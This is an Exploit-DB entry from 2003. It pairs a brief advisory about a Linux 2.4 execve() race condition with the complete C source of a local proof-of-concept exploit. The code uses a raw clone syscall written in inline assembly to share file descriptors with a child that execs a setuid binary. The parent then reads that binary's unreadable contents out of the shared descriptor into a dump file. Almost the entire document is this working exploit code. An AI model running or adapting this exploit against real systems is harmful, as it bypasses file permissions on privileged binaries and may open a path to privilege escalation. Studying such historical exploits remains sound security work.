Linux Kernel 2.4 - SUID 'execve()' System Call Race Condition Executable File Read

EDB-ID:

22840


Author:

IhaQueR

Type:

local


Platform:

Linux

Date:

2003-06-26


/*
source: https://www.securityfocus.com/bid/8042/info

A race condition vulnerability has been discovered in the Linux execve() system call, affecting the 2.4 kernel tree. The problem lies in the atomicity of placing a target executables file descriptor within the current process descriptor and executing the file.

An attacker could potentially exploit this vulnerability to gain read access to a setuid binary that would otherwise be unreadable. Although unconfirmed, it may also be possible for an attacker to write code to a target executable, making it theoretically possible to execute arbitrary code with elevated privileges.
*/

/****************************************************************
*								*
*	Linux 2.4.x suid exec/file read race proof of concept	*
*	by IhaQueR						*
*								*
****************************************************************/



#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <sched.h>
#include <fcntl.h>
#include <signal.h>

#include <sys/types.h>
#include <sys/stat.h>

#include <asm/page.h>



void fatal(const char *msg)
{
    printf("\n");
    if (!errno) {
	fprintf(stderr, "FATAL: %s\n", msg);
    } else {
	perror(msg);
    }

    printf("\n");
    fflush(stdout);
    fflush(stderr);
    exit(129);
}


int child(char **av)
{
    int fd;

    printf("\nChild running pid %d", getpid());
    fflush(stdout);
    usleep(100000);

    execvp(av[0], av + 1);

    printf("\nFatal child exit\n");
    fflush(stdout);
    exit(0);
}


void exitus(int v)
{
    printf("\nParent terminating (child exited)\n\n");
    fflush(stdout);
    exit(129);
}

void usage(const char *name)
{
    printf("\nSuid exec dumper by IhaQueR\n");
    printf("\nUSAGE:\t%s executable [args...]", name);
    printf("\n\n");
    fflush(stdout);
    exit(0);
}


int main(int ac, char **av)
{
    int p = 0, fd = 0;
    struct stat st, st2;

    if (ac < 2)
	usage(av[0]);

    av[0] = (char *) strdup(av[1]);
    av[1] = (char *) basename(av[1]);

    p = stat(av[0], &st2);
    if (p)
	fatal("stat");

    signal(SIGCHLD, &exitus);
    printf("\nParent running pid %d", getpid());
    fflush(stdout);

    __asm__ (
             "pusha              \n"
             "movl $0x411, %%ebx \n"
             "movl %%esp, %%ecx  \n"
             "movl $120, %%eax   \n"
             "int  $0x80         \n"
             "movl %%eax, %0     \n"
             "popa"
             : : "m"(p)
            );

    if (p < 0)
	fatal("clone");

    if (!p)
	child(av);

    printf("\nParent stat loop");
    fflush(stdout);
    while (1) {
	p = fstat(3, &st);
	if (!p) {
	    if (st.st_ino != st2.st_ino)
		fatal("opened wrong file!");

	    p = lseek(3, 0, SEEK_SET);
	    if (p == (off_t) - 1)
		fatal("lseek");
	    fd = open("suid.dump", O_RDWR | O_CREAT | O_TRUNC | O_EXCL,
		      0755);
	    if (fd < 0)
		fatal("open");
	    while (1) {
		char buf[8 * PAGE_SIZE];

		p = read(3, buf, sizeof(buf));
		if (p <= 0)
		    break;
		write(fd, buf, p);
	    }
	    printf("\nParent success stating:");
	    fflush(stdout);
	    printf("\nuid %d gid %d mode %.5o inode %u size %u",
		   st.st_uid, st.st_gid, st.st_mode, st.st_ino,
		   st.st_size);
	    fflush(stdout);
	    printf("\n");
	    fflush(stdout);
	    exit(1);
	}
    }

    printf("\n\n");
    fflush(stdout);

    return 0;
}